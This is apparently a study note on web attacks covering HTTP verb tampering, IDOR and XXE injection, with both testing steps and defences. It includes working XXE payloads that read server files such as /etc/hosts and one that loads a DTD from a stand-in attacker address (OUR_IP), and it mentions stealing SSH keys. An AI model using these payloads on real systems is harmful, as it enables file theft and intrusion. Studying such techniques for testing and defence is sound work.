Web Attacks (Check)

HTTP Verb Tampering

• There are a total of 9 different HTTP verbs, the most common being:

Verb	Usage
GET	Requests a representation of the specified resource
POST	Submits an entity to the specified resource
HEAD	Identical to a GET request, but its response only contains the headers, without the response body
PUT	Writes the request payload to the specified location
DELETE	Deletes the resource at the specified location
OPTIONS	Shows different options accepted by a web server, like accepted HTTP verbs
PATCH	Apply partial modifications to the resource at the specified location

• Most HTTP Verb Tampering vulnerabilities happens because of insecure coding/configurations (i.e. doing input sanitization only on specific verbs)

• To test HTTP Verb Tampering vulnerabilities, try running OPTIONS on the endpoint and then try using different verbs and observe the server behaviour

• To avoid HTTP Verb Tampering vulnerabilities in our code, we must be consistent with our use of HTTP methods and ensure that the same method is always used for any specific functionality across the web application. It is also always advised to expand the scope of testing in security filters by testing all request parameters.

Insecure Direct Object References (IDOR)

• IDOR vulnerabilities occur when a web application exposes a direct reference to an object, like a file or a database resource, which the end-user can directly control to obtain access to other similar objects. (i.e. download.php?file_id=123)

• Just exposing a direct reference to an internal object or resource is not a vulnerability in itself. However, this may make it possible to exploit another vulnerability: a weak access control system. An IDOR vulnerability mainly exists due to the lack of an access control on the back-end

• The very first step of exploiting IDOR vulnerabilities is identifying Direct Object References. Whenever we receive a specific file or resource, we should study the HTTP requests to look for URL parameters or APIs with an object reference (e.g. ?uid=1 or ?filename=file_1.pdf).

• IDOR can also exist in unused parameters or APIs in the front-end code in the form of JavaScript AJAX calls which can be identified by looking into the front-end JavaScript code AJAX calls to specific end-points or APIs that contain direct object references.

• Sometimes systems encode the object reference value. If we find such parameters using encoded or hashed values, we may still be able to exploit them if there is no access control system on the back-end.

• A good way to test for IDOR is to register multiple users and compare their HTTP requests and object references.

• Fuzzers and tools like, Burp Intruder or ZAP Fuzzer helps in testing IDOR.

• Preventing IDOR happens through proper access control. User roles and permissions are a vital part of any access control system, which is fully realized in a Role-Based Access Control (RBAC) system. To avoid exploiting IDOR vulnerabilities, we must map the RBAC to all objects and resources. The back-end server can allow or deny every request, depending on whether the requester's role has enough privileges to access the object or the resource. Upon every request the user makes, their roles and privileges would be tested to see if they have access to the object they are requesting. They would only be allowed to access it if they have the right to do so.

• Even after building a solid access control system, we should never use object references in clear text or simple patterns (e.g. uid=1). We should always use strong and unique references, like salted hashes or UUID's. For example, we can use UUID V4 to generate a strongly randomized id for any element, which looks something like (89c9b29b-d19f-4515-b2dd-abb6e693eb20). Then, we can map this UUID to the object it is referencing in the back-end database, and whenever this UUID is called, the back-end database would know which object to return.

• note that using UUIDs may let IDOR vulnerabilities go undetected since it makes it more challenging to test for IDOR vulnerabilities. This is why strong object referencing is always the second step after implementing a strong access control system.

XML External Entity (XXE) Injection

• XML External Entity (XXE) Injection vulnerabilities occur when XML data is taken from a user-controlled input without properly sanitizing or safely parsing it, which may allow us to use XML features to perform malicious actions.

Extensible Markup Language (XML)

• Extensible Markup Language (XML) is a common markup language (similar to HTML and SGML) designed for flexible transfer and storage of data and documents in various types of applications.

Key	Definition	Example
Tag	The keys of an XML document, usually wrapped with (</>) characters.	<date>
Entity	XML variables, usually wrapped with (&/;) characters.	&lt;
Element	The root element or any of its child elements, and its value is stored in between a start-tag and an end-tag.	<date>01-01-2022</date>
Attribute	Optional specifications for any element that are stored in the tags, which may be used by the XML parser.	version="1.0"/encoding="UTF-8"
Declaration	Usually the first line of an XML document, and defines the XML version and encoding to use when parsing it.	<?xml version="1.0" encoding="UTF-8"?>

• XML Document Type Definition (DTD) allows the validation of an XML document against a pre-defined document structure. The pre-defined document structure can be defined in the document itself or in an external file.

• The first step in identifying potential XXE vulnerabilities is finding web pages that accept an XML user input.

• Then we should note which elements are being displayed, such that we know which elements to inject into.

• After that we test whether it's injectable or not by for example trying to inject an XML variable.

• After ensuring that it's injectable then we can try to access files on the backend server.

• Sometimes if the content we are trying to access include XML's special characters (e.g. </>/&), it would break the external entity reference and not be used for the reference in this case we will need to convert it to a different format, like base64 and then decoding it again. One easy way to tackle this issue would be to define a begin internal entity with , and then place our external entity file in between, and it should be considered as a CDATA element, as follows:

<!DOCTYPE email [
  <!ENTITY begin "<![CDATA[">
  <!ENTITY file SYSTEM "file:///var/www/html/submitDetails.php">
  <!ENTITY end "]]>">
  <!ENTITY joined "&begin;&file;&end;">
]>

• However, this will not work, since XML prevents joining internal and external entities. To bypass this limitation, we can utilize XML Parameter Entities, a special type of entity that starts with a % character and can only be used within the DTD. What's unique about parameter entities is that if we reference them from an external source (e.g., our own server), then all of them would be considered as external and can be joined, as follows:

<!ENTITY joined "%begin;%file;%end;">

• In some cases web application might not write any output, so we cannot control any of the XML input entities to write its content. In such cases, If the web application displays runtime errors (e.g., PHP errors) and does not have proper exception handling for the XML input, then we can use this flaw to read the output of the XXE exploit. We can test this by giving a wrong XML syntax and observing the behavior of the server.

• The using a DTD file e.g.

<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">

• We can exploit XXE

<!DOCTYPE email [ 
  <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %remote;
  %error;
]>

• Finally when there is also no errors showing, we can use Out-of-band (OOB) Data Exfiltration

• In addition to reading local files, we may be able to gain code execution over the remote server. The easiest method would be to look for ssh keys, or attempt to utilize a hash stealing trick in Windows-based web applications, by making a call to our server.

• Another common attack often carried out through XXE vulnerabilities is SSRF exploitation, which is used to enumerate locally open ports and access their pages, among other restricted web pages, through the XXE vulnerability.

• Tools like XXEInjector can be used to automate the process of XXE.

• While other input validation web vulnerabilities are usually prevented through secure coding practices (e.g., XSS, IDOR, SQLi, OS Injection), this is not entirely necessary to prevent XXE vulnerabilities. This is because XML input is usually not handled manually by the web developers but by the built-in XML libraries instead. So, if a web application is vulnerable to XXE, this is very likely due to an outdated XML library that parses the XML data.

• In addition to updating the XML libraries, we should also update any components that parse XML input, such as API libraries like SOAP.

• Other than using the latest XML libraries, certain XML configurations for web applications can help reduce the possibility of XXE exploitation. These include:

  • Disable referencing custom Document Type Definitions (DTDs)

  • Disable referencing External XML Entities

  • Disable Parameter Entity processing

  • Disable support for XInclude

  • Prevent Entity Reference Loops

Some web applications may default to a JSON format in HTTP request, but may still accept other formats, including XML. So, even if a web app sends requests in a JSON format, we can try changing the Content-Type header to application/xml, and then convert the JSON data to XML.

In certain Java web applications, we may also be able to specify a directory instead of a file, and we will get a directory listing instead, which can be useful for locating sensitive files.